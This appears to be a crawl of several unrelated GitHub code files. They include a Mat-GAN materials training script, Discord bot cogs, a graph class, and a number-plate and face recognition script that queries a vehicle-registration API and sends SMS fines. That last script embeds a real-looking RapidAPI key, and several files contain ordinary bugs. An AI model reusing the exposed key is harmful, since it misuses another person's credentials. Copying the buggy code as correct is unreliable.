xrd_data4.x[i]>20:\n xxx.append(xrd_data4.x[i])\n yyy.append(xrd_data4.y[i])\n mat4.append(np.asarray(xxx))\n mat4.append(np.asarray(yyy))\n mat4=np.asarray(mat4)\n \n xrd_x=[]\n xrd_y=[]\n xrd_mat4=[]\n xrow=len(mat4[0])\n \n if xrow < i_column:\n for i in mat4[0]:\n xrd_x.append(i)\n for j in mat4[1]:\n xrd_y.append(j)\n for i in range(0,i_column-xrow):\n xrd_x.append(0)\n xrd_y.append(0)\n xrd_x=np.asarray(xrd_x)\n xrd_y=np.asarray(xrd_y)\n if xrow > i_column:\n xrd_x=mat4[0][:i_column]\n xrd_y=mat4[1][:i_column]\n if xrow == i_column:\n xrd_x= mat4[0]\n xrd_y= mat4[1]\n \n xrd_x=abs(xrd_x-base_x)\n xrd_y=10*abs(xrd_y-base_y)\n \n xrd_x=np.sin(np.dot(1/180*np.pi,xrd_x))\n xrd_y=(np.arctan(xrd_y))/180*np.pi\n xrd_mat4.append(xrd_x)\n xrd_mat4.append(xrd_y)\n xrd_mat4=np.array(xrd_mat4)\n return xrd_mat4\n\n##\n################################\n#def get_atoms_num(folder2): #\n# xxx=tomgStructure(folder2)#\n# anum=len(xxx.sites) # \n# return anum #\n################################\n'''\n#pattern ---F\n#select one patter(AorF) for per training\nt1path=train_path+'2001/CONTCAR'\nt1=mg.Structure.from_file(t1path)\nt1pxrd=patt_xrd.get_pattern(t1)\nglobal base_x,base_y\nbase_x=[]\nbase_y=[]\nfor i in range(len(t1pxrd)):\n if t1pxrd.y[i]>2 and t1pxrd.y[i]< 20:\n base_x.append(t1pxrd.x[i])\n base_y.append(t1pxrd.y[i])\n\nbase_x=base_x[:28]\nbase_y=base_x[:28]\n\n\n\n\ndef get_xrdmat(mgStructure):\n global rmat_num\n xrd_data4 =patt_xrd.get_pattern(mgStructure)\n\n i_column = 28\n xxx=[]\n yyy=[]\n mat4=[]\n xrd_i=len(xrd_data4)\n for i in range(xrd_i):\n if xrd_data4.y[i] >2 and xrd_data4.y[i] <20:\n xxx.append(xrd_data4.x[i])\n yyy.append(xrd_data4.y[i])\n mat4.append(np.asarray(xxx))\n mat4.append(np.asarray(yyy))\n mat4=np.asarray(mat4)\n \n xrd_x=[]\n xrd_y=[]\n xrd_mat4=[]\n xrow=len(mat4[0])\n \n if xrow < i_column:\n for i in mat4[0]:\n xrd_x.append(i)\n for j in mat4[1]:\n xrd_y.append(j)\n for i in range(0,i_column-xrow):\n xrd_x.append(0)\n xrd_y.append(0)\n xrd_x=np.asarray(xrd_x)\n xrd_y=np.asarray(xrd_y)\n if xrow > i_column:\n xrd_x=mat4[0][:i_column]\n xrd_y=mat4[1][:i_column]\n if xrow == i_column:\n xrd_x= mat4[0]\n xrd_y= mat4[1]\n \n #xrd_x=abs(xrd_x-base_x)\n xrd_y=abs(xrd_y-base_y)/100\n \n xrd_x=10*np.sin(np.dot(1/180*np.pi,xrd_x))\n xrd_y=np.exp(np.sqrt(xrd_y))\n xrd_mat4.append(xrd_x)\n xrd_mat4.append(xrd_y)\n xrd_mat4=np.array(xrd_mat4)\n return xrd_mat4\n'''\n\n\n\n\n\n###\n##input_data_for_G\n###\ndef GANs_Gmat(Random_Structure):\n global rmat_num\n RS_xrdmat = get_xrdmat(Random_Structure)\n multimat3_RS = np.zeros((rmat_num,rmat_num),dtype='float32')\n multimat3_RS = np.asarray((np.dot(RS_xrdmat.T, RS_xrdmat)))\n return multimat3_RS\n\n#this part is uesd to produce the input matrix for G<-Mat-GAN\n###################################################################\n\n\n###################################################################\n#define the G<-Mat-GAN\n\nclass GNet(nn.Module):\n \n def __init__(self, input_size=(sample_num,28,28)):\n super(GNet, self).__init__()\n self.conv1 = nn.Sequential(\n nn.Conv2d(#(3,28,28)\n in_channels=sample_num,\n out_channels=32,\n kernel_size=5,\n stride=1,\n padding=2,\n ),#->(32,28,28)\n nn.ReLU(),#->(32,28,28)\n nn.MaxPool2d(kernel_size=2),\n )#->(#->(32,14,14))\n self.conv2=nn.Sequential(#->(32,14,14))\n nn.Conv2d(\n in_channels=32,\n out_channels=64,\n kernel_size=5,\n stride=1,\n padding=2,\n ),#->(64,14,14)\n nn.ReLU(),#->(64,14,14)\n nn.MaxPool2d(kernel_size=2),#->(64,7,7)\n )\n self.out=nn.Sequential(\n nn.Linear(64*7*7,128),\n nn.ReLU(),\n nn.Linear(128,sample_num), \n )\n \n def forward(self,x):\n x=self.conv1(x)\n x=self.conv2(x) #batch(64,7,7)\n x=x.view(x.size(0),-1) #(batch, 64*7*7)\n output=torch.unsqueeze(self.out(x),dim=0)\n return output\n#####################################################################\n#the above parts are the module uesd to the process of initializaiton\n#\n#####################################################################\n\n###############################################################\n#the initialzaiont of G and D\nG1=GNet()\nD1=DNet()\n\nopt_D1=torch.optim.Adam(D1.parameters(),lr=0.01)\nopt_G1=torch.optim.Adam(G1.parameters(),lr=0.01)\n\n######\n#users could load the the previous .pkl for training the G/D in the next step \n#G1.load_stat_dict(torch.load(person_path+'/GAN_G_step.pkl'))\n#D1.load_stat_dict(torch.load(person_path+'/GAN_D_step.pkl'))\n######\n\n#intialization of input queue\ntrain_series=[]\nfor i in range(series_num):\n path_s=random_xxpsk(train_path)\n ee1=get_total_energy(path_s)\n ee1=linear_transform(ee1)\n train_series.append(ee1)\n\n\n##########################################################\n#test #\n#mg.Structure.from_file(train_path+'1000/CONTCAR') #\n##########################################################\n\n\n\nmat_Gl=[] #loss G\nmat_Dl=[] #loss D\npre_dd=[] #out D\npre_gg=[] #out G\nerror_test=[]\nerror_train=[]\n\n###################################################################\n###################################################################\n# users could train Mat-GAN or load the .pkl\n##################################################################\n##################################################################\n#per step in the training of Mat-GAN trianing#\n##################################################################\n##################################################################\n\n\n#In the each folder of the dir_ of training or testing, there are a structrure file(POSCAR/CONTCAR) and a OUTCAR file(that is used to extract the properties data)\n\nfile_path=train_path\n#tfset=[] \nfor step in range(1,3): \n\n\n sample_path=[]\n for i in range(1,sample_num+1):\n path_ = random_folder(file_path)\n sample_path.append(path_)\n\n X_DFT=0\n\n for subpath_ in sample_path:\n \n try:\n total_energy=get_total_energy(path_)\n X_DFT=linear_transform(total_energy)\n except:\n print(path1_)\n \n train_series.pop(-1)\n train_series.append(X_DFT)\n #update queue with X from D \n input_series_D=np.asarray(train_series,dtype=np.float64) \n input_series_D=Variable(torch.from_numpy(input_series_D[np.newaxis,np.newaxis,:]),requires_grad=True)\n \n Dout_real=D1(input_series_D)\n pre_dd.append(Dout_real.data.numpy().mean())\n \n G_input=[]\n for path2_ in sample_path:\n path2_=str(path2_) \n \n try:\n file2pmg=tomgStructure(path2_)\n L_matrix=GANs_Gmat(file2pmg)\n \n except:\n pass\n G_input.append(L_matrix)\n \n G_input=np.asarray(G_input)\n G_input=G_input[np.newaxis,:,:,:] \n G_input=np.asarray(G_input,dtype=np.float64) \n G_input=Variable(torch.from_numpy(G_input),requires_grad=True)\n \n Gout=G1(G_input)\n Gout=round(Gout.data.numpy().mean(),6) # properties by G\n\n #update queue with X from G\n train_series.append(Gout)\n train_series.pop(0)\n \n input_series_D=np.asarray(train_series,dtype=np.float64) \n input_series_D=Variable(torch.from_numpy(input_series_D[np.newaxis,np.newaxis,:]),requires_grad=True)\n \n \n D_out_fake=D1(input_series_D)\n pre_gg.append(D_out_fake.data.numpy().mean())\n \n #loss\n D1_loss=-torch.mean(torch.log(D_out_real)+torch.log(1.-D_out_fake))\n dd=D1_loss.data.numpy().mean()\n mat_Dl.append(dd)\n \n G1_loss=torch.mean(torch.log(1.-D_out_fake))\n gg=G1_loss.data.numpy().mean()\n mat_Gl.append(gg)\n \n #------update Mat-GAN with loss \n if step%2==0:\n opt_D1.zero_grad()\n D1_loss.backward(retain_graph=True)\n opt_D1.step()\n \n opt_G1.zero_grad()\n G1_loss.backward()\n opt_G1.step()\n else:\n opt_D1.zero_grad()\n D1_loss.backward()\n opt_D1.step()\n \n\n if step%2==0:\n print(step)\n print('error: ',abs(inverse_transform(Gout)-inverse_transform(X_DFT)))\n \n print(dd)\n print(gg)\n print(prob_Tfactor_mat0.data.numpy().mean())\n print(prob_G1_mat1.data.numpy().mean())\n \n \n##############################################################################\n##############################################################################\n#statistics the performance of Mat-GAN in the training set and test set. \n \n\n\ndef get_binding_4O(E_t):\n E_binding= (E_t-6*E_Ca-4*E_Sn-10*E_S-4*E_O)/24\n return E_binding\n\n\n# In[30]:\n\n\n\nE_Gibbs_test=[]\nE_Gmodel_test=[]\nabserrset=[]\nMSEset=[]\nerr0set=[]\ntestfile2=[]\nfor m1,n1,fname in os.walk(test_path):\n for ieach in n1:\n ieach=test_path+ieach\n testfile2.append(ieach)\nstart=time.time() \nfor path_ in testfile2:\n try:\n GGG=get_total_energy(path_)\n GGG=get_binding_4O(GGG)\n E_Gibbs_test.append(GGG)\n \n g_in=[]\n tomgS=tomgStructure(path_)\n gin=GANs_Gmat(tomgS)\n g_in.append(gin)\n g_in=np.asarray(g_in)\n g_in=g_in[np.newaxis,:,:,:]\n g_in=np.asarray(g_in,dtype=np.float64)\n g_in=Variable(torch.from_numpy(g_in),requires_grad=True)\n Gout=G1(g_in)\n G_data=Gout.data.numpy().mean()\n G_data=inverse_transform(G_data)\n G_data=get_binding_4O(G_data)\n E_Gmodel_test.append(G_data)\n #print(G_data)\n #print(GGG)\n abserr=abs(G_data-GGG)\n mse=(G_data-GGG)**2\n abserrset.append(abserr)\n MSEset.append(mse)\n err0=abs(abserr/GGG)\n err0set.append(err0)\n except:\n print(path_)\nend=time.time()\nprint(end-start)\n\n\n# In[31]:\n\n\nprint(np.asarray(abserrset).mean())\n\nprint(np.asarray(MSEset).mean())\n\n#print(np.sqrt(np.asarray(MSEset).mean()))\n\n\n# In[ ]:\n\n\nprint(abserrset)\n\n\n# In[26]:\n\n\nE_Gibbs_t=[]\nE_Gmodel_t=[]\nabs_t_errset=[]\nerr_t_0set=[]\ntMSEset=[]\ntestfile=[]\nfor m1,n1,fname in os.walk(train_path):\n for ieach in n1:\n ieach=train_path+ieach\n testfile.append(ieach)\n\n\n# In[25]:\n\n\n\n\n\n# In[35]:\n\n\nstart=time.time()\n# \nfor path_ in testfile:\n try:\n GGG=get_total_energy(path_)\n GGG=get_binding_4O(GGG)\n\n E_Gibbs_t.append(GGG)\n g_in=[]\n tomgS=tomgStructure(path_)\n gin=GANs_Gmat(tomgS)\n g_in.append(gin)\n g_in=np.asarray(g_in)\n g_in=g_in[np.newaxis,:,:,:]\n g_in=np.asarray(g_in,dtype=np.float64)\n g_in=Variable(torch.from_numpy(g_in),requires_grad=True)\n Gout=G1(g_in)\n G_data=Gout.data.numpy().mean()\n G_data=inverse_transform(G_data)\n G_data=get_binding_4O(G_data)\n E_Gmodel_t.append(G_data)\n #print(G_data)\n #print(GGG)\n abserr=abs(G_data-GGG)\n tmse=(G_data-GGG)**2\n tMSEset.append(tmse)\n abs_t_errset.append(abserr)\n err0=abs(abserr/GGG)\n err_t_0set.append(err0)\n except:\n print(path_)\nend=time.time()\nprint(end-start)\n\n\n\nprint(np.asarray(abs_t_errset).mean())\n\nprint(np.asarray(tMSEset).mean())\n\n\n\n\nprint(np.sqrt(np.asarray(tMSEset).mean()))\n\n\n\n\ntorch.save(G1.state_dict(),person_path+\"/GAN_G_step.pkl\") \ntorch.save(D1.state_dict(),person_path+\"/GAN_D_step.pkl\")\n\n\n\n","repo_name":"j2hu/MATGANICSS","sub_path":"Mat-GAN-with-notes.py","file_name":"Mat-GAN-with-notes.py","file_ext":"py","file_size_in_byte":16795,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"23382197171","text":"from discord.ext import commands, tasks\nimport requests\nimport json\nimport typing\nimport dobby_logging\nfrom dobbyvoice import DobbyVoice\n\nif typing.TYPE_CHECKING:\n from fluffy import FluffyMusic\n\n \nclass RandomCog(commands.Cog, name='Random wishes'):\n \n def __init__(self, bot:commands.bot):\n self.bot = bot\n logger = dobby_logging.getDobbyLogger(__name__)\n\n # -------- QUOTES\n # Get inspirational quotes\n @commands.command(aliases=['i','insp'], description='Inspires you with shitty quotes')\n async def inspire(self, ctx:commands.Context):\n data = requests.get('https://zenquotes.io/api/random')\n json_data = json.loads(data.text[2:-2])\n text = '\"' + json_data['q'] + '\"' + '\\n -------- ' + json_data['a'] + ' --------'\n await ctx.channel.send(text)\n\n\n # ------- RANDOM THINGS\n # Get bot latency (.ping / .latency)\n @commands.command(aliases=['latency'])\n async def ping(self, ctx:commands.Context):\n await ctx.channel.send(f'Ping is: {round(self.bot.latency * 1000)}ms')\n\n\nclass MusicCog(commands.Cog):\n # TODO separate this class in two. Leave the Cog functionality on one site, and DobbyMusic/DobbyVoice on the other.\n # TODO implements not only _is_playing (True, False), but \"Playing\", \"Paused\", \"Not Playing\"\n def __init__(self, music:'DobbyVoice', fluffy_music:'FluffyMusic'):\n # Task loop \n self.task_start = False;\n self.music = music\n self.fluffy_music = fluffy_music\n\n def _accept_command(self, ctx:commands.Context):\n return not self.music.is_voiceclient_connected() or self.fluffy_music.member_is_in_voicechannel(ctx.author, self.music.get_voicechannel())\n \n def _is_valid_command(self, command:str):\n if command in self.fluffy_music._WRITE_COMMANDS or command in self.fluffy_music._READ_COMMANDS:\n return True\n else:\n return False\n\n # --------------------------- MUSIC COG COMMANDS ---------------------------------\n @commands.command()\n async def play(self, ctx:commands.Context, *song):\n if self._accept_command(ctx):\n if await self.music.handle_play_request(ctx):\n if not self.dismiss_dobby.is_running():\n self.dismiss_dobby.start()\n self.task_start = True\n song_data = DobbyVoice.find_song(song)\n await self.music.prepare_song(ctx, song_data)\n else:\n await ctx.channel.send('Dobby is already in a channel, and you are not there. I won\\'t do what you want unless you\\'re with us...') \n\n @commands.command()\n async def skip(self, ctx:commands.Context): # There is no need to call play_song() again. It will be called internally.\n if self._accept_command(ctx):\n if self.music.vc.is_playing:\n self.music.vc.stop()\n await ctx.channel.send('Skipping current song!')\n if len(self.music.queue) == 0:\n await ctx.channel.send('No more songs to play...')\n else:\n await ctx.channel.send('Dobby can not skip a song if he\\'s not playing any...')\n else:\n await ctx.channel.send('Can\\'t order Dobby to skip a song if you are not with Dobby :)')\n\n @commands.command()\n async def pause(self, ctx:commands.Context):\n if self._accept_command(ctx):\n if self.music.vc.is_playing:\n self.music.vc.pause() \n await ctx.channel.send('Pausing current song!')\n else:\n await ctx.channel.send('Dobby cannot pause a song if he\\'s not playing any')\n else:\n await ctx.channel.send('Can\\'t order Dobby to pause a song if you are not with Dobby :)')\n\n @commands.command()\n async def resume(self, ctx:commands.Context):\n if self._accept_command(ctx):\n if self.music.vc.is_paused:\n self.music.vc.resume()\n await ctx.channel.send('Resuming current song!')\n elif self.music.is_playing:\n await ctx.channel.send('Dobby is playing a song already!')\n else:\n await ctx.channel.send('Dobby is not sure what you mean sir... Are you feeling ok?')\n else:\n await ctx.channel.send('Can\\'t order Dobby to resume a song if you are not with Dobby :)')\n \n \n @commands.command(description='Command used to handle playlist stuff')\n async def playlist(self, ctx:commands.Context, *args):\n if self.fluffy_music.is_playlist_allowed():\n if len(args) == 0 or self._is_valid_command(args[0]):\n if len(args) == 0:\n command = 'help'\n else:\n command = args[0]\n if len(args) > 1:\n args = args[1:]\n else:\n args = []\n \n await self.fluffy_music.execute(ctx, ctx.author, command, args)\n \n else:\n await ctx.channel.send('Dobby doesn\\'t recognize this type of playlist magic...')\n else:\n await ctx.channel.send('Playlists are disabled!') \n \n # Returns a list with all songs in queue into authors text channel.\n @commands.command()\n async def songs(self, ctx:commands.Context):\n if self._accept_command(ctx):\n songs = '. ############ DOBBY\\'s MUSIC LIST ############\\n'\n for i, song in enumerate(self.dobby.music.queue):\n songs = f'{songs}{i}. {song[\"title\"]}\\n'\n if songs != '':\n await ctx.channel.send(songs)\n else:\n await ctx.channel.send('Dobby has no songs in queue...')\n else:\n await ctx.channel.send('Can\\'t order Dobby to list songs if you are not listening to them!') \n \n @commands.command(description='Sets Dobby free from the voice channel.')\n async def givesock(self, ctx:commands.Context):\n if self._accept_command(ctx):\n try:\n if self.music.vc.is_connected():\n if self.music.vc.is_playing():\n self.music.vc.stop()\n self.music.queue = None\n self.dismiss_dobby.cancel() # Ending dissmis_dobby loop\n await ctx.channel.send('Dobby is free!!')\n await self.music.vc.disconnect()\n except AttributeError:\n await ctx.channel.send('I\\'m already free, \\'Master\\'....')\n else:\n await ctx.channel.send('Can\\'t order Dobby to list songs if you are not listening to them!') \n\n # Dobby will check every 15 minutes if he is still needed in the voice channel he is.\n # This method should only be called once every time Dobby get a new instance of a voice client.\n @tasks.loop(minutes=60)\n async def dismiss_dobby(self):\n if (not self.music.vc.is_playing or len(self.music.vc.channel.members) == 1) and not self.task_start:\n await self.music.channel.send('Dobby seems not to be useful anymore... Dobby is living voice channel now...')\n await self.music.vc.disconnect() # Disconnecting voiceclient\n self.dismiss_dobby.cancel(); # Ending dissmis_dobby loop\n self.task_start = False\n \n # ****************** T A S K S *********************\n\n\n\nclass WisdomCog(commands.Cog):\n def __init__(self):\n pass\n\n @commands.command()\n async def listroles(self, ctx:commands.Context):\n roles = ctx.channel.guild.roles\n txt = '####### SERVER ROLES #######'\n for role in roles:\n txt += role.name + '\\n'\n\n await ctx.channel.send(txt)\n\n\n","repo_name":"Brainight/Dobby","sub_path":"dobby_cogs.py","file_name":"dobby_cogs.py","file_ext":"py","file_size_in_byte":7789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73037131397","text":"class Edge(object):\n\n def __init__(self, orgin, goal, weight):\n\n self.orgin = orgin\n self.goal = goal\n self.weight = weight\n\n def other(self, orgin):\n\n if not (orgin == self.orgin or orgin == self.goal):\n raise ValueError(\"{} is not a valid point\".format(orgin))\n\n return self.orgin if orgin == self.goal else self.goal\n \n def __eq__(self, other):\n\n return self.weight == other.weight\n\n def __lt__(self, other):\n\n return self.weight < other.weight\n\n def __str__(self):\n\n return '{To: %d, weight: %s}' % (self.goal, str(self.weight))\n\nclass WeightedSparseGraph(object):\n\n def __init__(self, node_nums, directed = False):\n\n self.__nums_node = node_nums\n self.__nums_edges = 0\n self.__directed = directed\n self.__edges = []\n for i in range(node_nums):\n self.__edges.append([])\n\n def has_edge(self, orgin, goal):\n\n if orgin < 0 or orgin >= self.__nums_node or goal < 0 or goal >= self.__nums_node:\n raise IndexError('index out of range')\n\n for x in self.__edges[orgin]:\n if x.other(orgin) == goal:\n return True\n\n return False\n\n def add_edge(self, orgin, goal, weight):\n\n if orgin < 0 or orgin >= self.__nums_node or goal < 0 or goal >= self.__nums_node:\n raise IndexError('index out of range')\n\n if self.has_edge(orgin, goal):\n\n for i in range(len(self.__edges[orgin])):\n\n if self.__edges[orgin][i].other(orgin) == goal:\n self.__edges[orgin][i] = Edge(orgin, goal, weight)\n\n if not self.__directed:\n for y in len(self.__edges[goal]):\n if self.__edges[goal][y].other(goal) == orgin:\n self.__edges[goal][y] = Edge(goal, orgin, weight)\n\n else: \n\n self.__edges[orgin].append(Edge(orgin, goal, weight))\n self.__nums_edges += 1\n if not self.__directed:\n self.__edges[goal].append(Edge(goal, orgin, weight))\n\n def get_node_nums(self):\n return self.__nums_node\n\n def get_edges(self):\n return self.__edges\n\n def get_edge_nums(self):\n return self.__nums_edges\n\n def iter_nodes(self, node):\n return iter(self.__edges[node])\n\n def __str__(self):\n\n string =''\n\n for i in range(len(self.__edges)):\n string += '%d: ' % i\n for edge in self.__edges[i]:\n string += '%s ' % str(edge)\n string += '\\n'\n \n return string\n\ndata = [[8,16],\n [4,5,.35],\n [4,7,.37],\n [5,7,.28],\n [0,7,.16],\n [1,5,.32],\n [0,4,.38],\n [2,3,.17],\n [1,7,.19],\n [0,2,.26],\n [1,2,.36],\n [1,3,.29],\n [2,7,.34],\n [6,2,.40],\n [3,6,.52],\n [6,0,.58],\n [6,4,.93]]\n\nif __name__ == \"__main__\":\n nums_node, nums_edge = data[0]\n wsg = WeightedSparseGraph(nums_node)\n for i in range(1,len(data)):\n orgin, goal, weight = data[i]\n wsg.add_edge(orgin, goal, weight)\n print(wsg)\n","repo_name":"LibertyDream/algorithm_data_structure","sub_path":"algorithm/graph_theory/weighted_sparse_graph.py","file_name":"weighted_sparse_graph.py","file_ext":"py","file_size_in_byte":3194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"23474006869","text":"# coding: utf-8\n# Distributed under the terms of the MIT License.\n\n\"\"\" This module implements the AtomicSwapper class which\ntakes a Query object and a desired \"swap\", e.g. swap all group [I]\nelements to Li, ready to be re-relaxed.\n\n\"\"\"\n\n\n__all__ = [\"AtomicSwapper\"]\n__author__ = \"Matthew Evans\"\n__maintainer__ = \"Matthew Evans\"\n\n\nfrom .swaps import AtomicSwapper\n","repo_name":"ml-evs/matador","sub_path":"matador/swaps/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"62"} +{"seq_id":"4726250835","text":"import cv2\r\nimport numpy as np\r\nimport os\r\nfrom pytesseract import pytesseract\r\nimport requests\r\nimport pandas as pd\r\n\r\nframeWidth = 640 \r\nfraneHeight = 480 \r\n\r\nplateCascade = cv2.CascadeClassifier(\"haarcascade_russian_plate_number.xml\")\r\nface_cascade = cv2.CascadeClassifier(\"haarcascade_frontalface_default.xml\") \r\n\r\nminArea = 500\r\n\r\ncap =cv2.VideoCapture(\"Testing Footage.mp4\")\r\n\r\n\r\ncap.set(4,franeHeight)\r\ncap.set(10,150)\r\n\r\nwhile True:\r\n success , img = cap.read() #plate\r\n \r\n imgGray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY) #plate\r\n\r\n #img = cv2.imread()\r\n numberPlates = plateCascade .detectMultiScale(imgGray, 1.1, 4)\r\n faces = face_cascade.detectMultiScale(imgGray,1.3, 5)\r\n for (x, y, w, h) in numberPlates:\r\n area = w*h\r\n if area > minArea:\r\n cv2.rectangle(img, (x, y), (x + w, y + h), (255, 0, 0), 2)\r\n imgRoi = img[y:y+h,x:x+w]\r\n \r\n\r\n for (x,y,w,h) in faces:\r\n area1 = w * h\r\n if area1 > minArea:\r\n cv2.rectangle(img, (x,y),(x+w,y+h),(0,255,0),3)\r\n imgFace = img[y:y+h,x:x+w]\r\n\r\n\r\n cv2.imshow('Frame',img)\r\n count=0\r\n if cv2.waitKey(10) & 0xFF==ord('q'):\r\n cv2.imwrite(\"C:\\\\Users\\\\HP\\\\Desktop\\\\abc\\\\faces\"+str(count)+\".jpg\",imgFace)\r\n cv2.imwrite(\"C:\\\\Users\\\\HP\\\\Desktop\\\\abc\\\\photos\"+str(count)+\".jpg\",imgRoi)\r\n count = count + 1\r\n cv2.rectangle(img,(0,200),(640,300),(0,255,0),cv2.FILLED)\r\n cv2.waitKey(200)\r\n break\r\ncap.release()\r\ncv2.destroyAllWindows()\r\n\r\n# -----------OCR-----------------\r\n\r\n\r\nclass OCR:\r\n def __init__(self):\r\n self.path = \"C:\\\\Users\\\\HP\\\\AppData\\\\Local\\\\Programs\\\\Tesseract-OCR\\\\tesseract.exe\"\r\n\r\n def extract(self,filename):\r\n try:\r\n pytesseract.tesseract_cmd=self.path\r\n text = pytesseract.image_to_string(filename)\r\n return text\r\n except Exception as e:\r\n print(e)\r\n return \"Error\"\r\n \r\n\r\nocr = OCR()\r\n\r\n# ---------OCR-------------\r\npic = cv2.imread(\"photos0.jpg\")\r\n\r\nkernel = np.ones((1,1),np.uint8)\r\npic= cv2.dilate(pic, kernel, iterations=1)\r\npic = cv2.erode(pic, kernel, iterations=1)\r\nplate_gray = cv2.cvtColor(pic,cv2.COLOR_BGR2GRAY)\r\n(thresh,imgRoi) = cv2.threshold(plate_gray,127,255,cv2.THRESH_BINARY)\r\ntext = ocr.extract(pic)\r\nnum = []\r\nj = 0\r\n\r\nfor i in text:\r\n if (ord(i) >= 48 and ord(i) <= 57) or (ord(i) >= 65 and ord(i) <= 90) or (ord(i) >= 97 and ord(i) <= 122):\r\n num.append(i)\r\n j += 1\r\n\r\nNumberPlate = ''.join(num)\r\nprint(NumberPlate)\r\n\r\n#---------------------RC VALIDATION -------------------#\r\n\r\nimport requests\r\nimport datetime\r\n\r\nurl = \"https://vehicle-rc-information.p.rapidapi.com/\"\r\n\r\npayload = {\"VehicleNumber\": \"WB20AX4245\"}\r\nheaders = {\r\n\"content-type\": \"application/json\",\r\n\t\"X-RapidAPI-Key\": \"5f6cc5ecf9mshf3a63ebe7e35fe8p10f498jsnb1fd2bf679e5\",\r\n\t\"X-RapidAPI-Host\": \"vehicle-rc-information.p.rapidapi.com\"\r\n}\r\n\r\ndef check_validity(response, field): # define a function that takes a response object and a field name as arguments\r\n response_dict = response.json() # convert response text to dictionary\r\n valid_upto = response_dict[\"result\"][field] # get valid_upto value for the given field\r\n valid_date = datetime.datetime.strptime(valid_upto, \"%Y-%m-%d\") # convert valid_upto string to datetime object\r\n today = datetime.datetime.now() # get current date and time\r\n if valid_date > today: # compare valid_date with today\r\n return True # return True if valid_date is later than today\r\n else:\r\n return False # return False if valid_date is earlier than or equal to today\r\n\r\nresponse = requests.request(\"POST\", url, json=payload, headers=headers)\r\n\r\n#print(response.text)\r\nresponse_dict = response.json() # convert response text to dictionary\r\nowner_name = response_dict[\"result\"][\"owner_name\"] # get owner name\r\nfuel_type = response_dict[\"result\"][\"fuel_type\"] # get fuel type\r\nseat = response_dict[\"result\"][\"seating_capacity\"]\r\nregistration = response_dict[\"result\"][\"fitness_upto\"]\r\ninsurance = response_dict[\"result\"][\"insurance_validity\"]\r\npollution = response_dict[\"result\"][\"puc_valid_upto\"]\r\n#request\r\nfitness_validity = check_validity(response, \"fitness_upto\") # fitness_upto field and assign the result to a variable\r\ninsurance_validity = check_validity(response, \"insurance_validity\") # insurance_validity field and assign the result to a variable\r\npuc_validity = check_validity(response, \"puc_valid_upto\") # puc_valid_upto field and assign the result to a variable\r\nprint(\"Car Validation: \",fitness_validity) \r\nprint(\"Insurance Validation: \",insurance_validity) \r\nprint(\"pollution status:\",puc_validity) \r\n\r\n\r\nprint(\"Car Owner Name: \",owner_name) \r\nprint(\"Fuel type: \",fuel_type) \r\nprint(\"Seat capacity: \",seat)\r\n\r\n\r\n\r\n#----------------SMS alert-------------------#\r\n\r\n\r\n# sms for Insurance validation\r\n\r\nif insurance_validity is False:\r\n \r\n url = \"https://sms77io.p.rapidapi.com/sms\"\r\n payload = \"to=%2B491771783130&p=%3CREQUIRED%3E&text=e-challan%20for%20Insurance%20failure\"\r\n headers = {\r\n \"content-type\": \"application/x-www-form-urlencoded\",\r\n \"X-RapidAPI-Key\": \"5f6cc5ecf9mshf3a63ebe7e35fe8p10f498jsnb1fd2bf679e5\",\r\n \"X-RapidAPI-Host\": \"sms77io.p.rapidapi.com\"\r\n }\r\n response = requests.request(\"POST\", url, data=payload, headers=headers)\r\n\r\n# sms for registration validation\r\nif fitness_validity is False:\r\n \r\n url = \"https://sms77io.p.rapidapi.com/sms\"\r\n payload = \"to=%2B491771783130&p=%3CREQUIRED%3E&text=e-challan%20for%20invalid%20registration\"\r\n headers = {\r\n \"content-type\": \"application/x-www-form-urlencoded\",\r\n \"X-RapidAPI-Key\": \"5f6cc5ecf9mshf3a63ebe7e35fe8p10f498jsnb1fd2bf679e5\",\r\n \"X-RapidAPI-Host\": \"sms77io.p.rapidapi.com\"\r\n }\r\n response = requests.request(\"POST\", url, data=payload, headers=headers)\r\n\r\n# sms for pollution validation\r\nif puc_validity is False:\r\n \r\n url = \"https://sms77io.p.rapidapi.com/sms\"\r\n payload = \"to=%2B491771783130&p=%3CREQUIRED%3E&text=e-challan%20for%20pollution\"\r\n headers = {\r\n \"content-type\": \"application/x-www-form-urlencoded\",\r\n \"X-RapidAPI-Key\": \"5f6cc5ecf9mshf3a63ebe7e35fe8p10f498jsnb1fd2bf679e5\",\r\n \"X-RapidAPI-Host\": \"sms77io.p.rapidapi.com\"\r\n }\r\n response = requests.request(\"POST\", url, data=payload, headers=headers)\r\n# --------Saving the data-----------\r\n\r\ndata ={'Owner Name' :[owner_name],\r\n 'Model Number':[],\r\n 'Registration Validity':[registration],\r\n 'PUC':[pollution],\r\n 'Insurance':[insurance]\r\n }\r\n\r\ndf = pd.DataFrame(data,columns=['Owner Name','Model Number','Registration Validity','PUC','Insurance'])\r\n\r\n\r\nprint(\"the df is\",df)\r\ndf.to_csv(\"test.csv\")\r\nxt6\r\n","repo_name":"bhattacharyasaikat/ANPR-FRS","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6699,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"13924896993","text":"def word_stats(fileName):\r\n file=open(fileName,\"r\")\r\n word=file.read()\r\n \r\n print(\"Total words =\" , len((word.split())))\r\n\r\n new=word.split()\r\n sum=0\r\n for i in new:\r\n sum += len(i)\r\n print(\"Average length =\",sum/len(new))\r\n\r\n counter=0\r\n for i in set(word.lower().replace(\" \",\"\")):\r\n if(i not in __import__('string').punctuation):\r\n counter +=1\r\n print(\"Unique letters =\",counter-1)","repo_name":"hllibrkaya/codestepbystep-solutions","sub_path":"stepbystep_solutions/word_stats.py","file_name":"word_stats.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"74019349637","text":"import pandas as pd\nimport numpy as np\ndef load_data():\n user_header=['user_id','age','gender','occupation','zipcode']\n df_user=pd.read_csv('./data/u.user',sep='|',names=user_header)\n\n item_header = ['item_id', 'title', 'release_date', 'video_release_date', 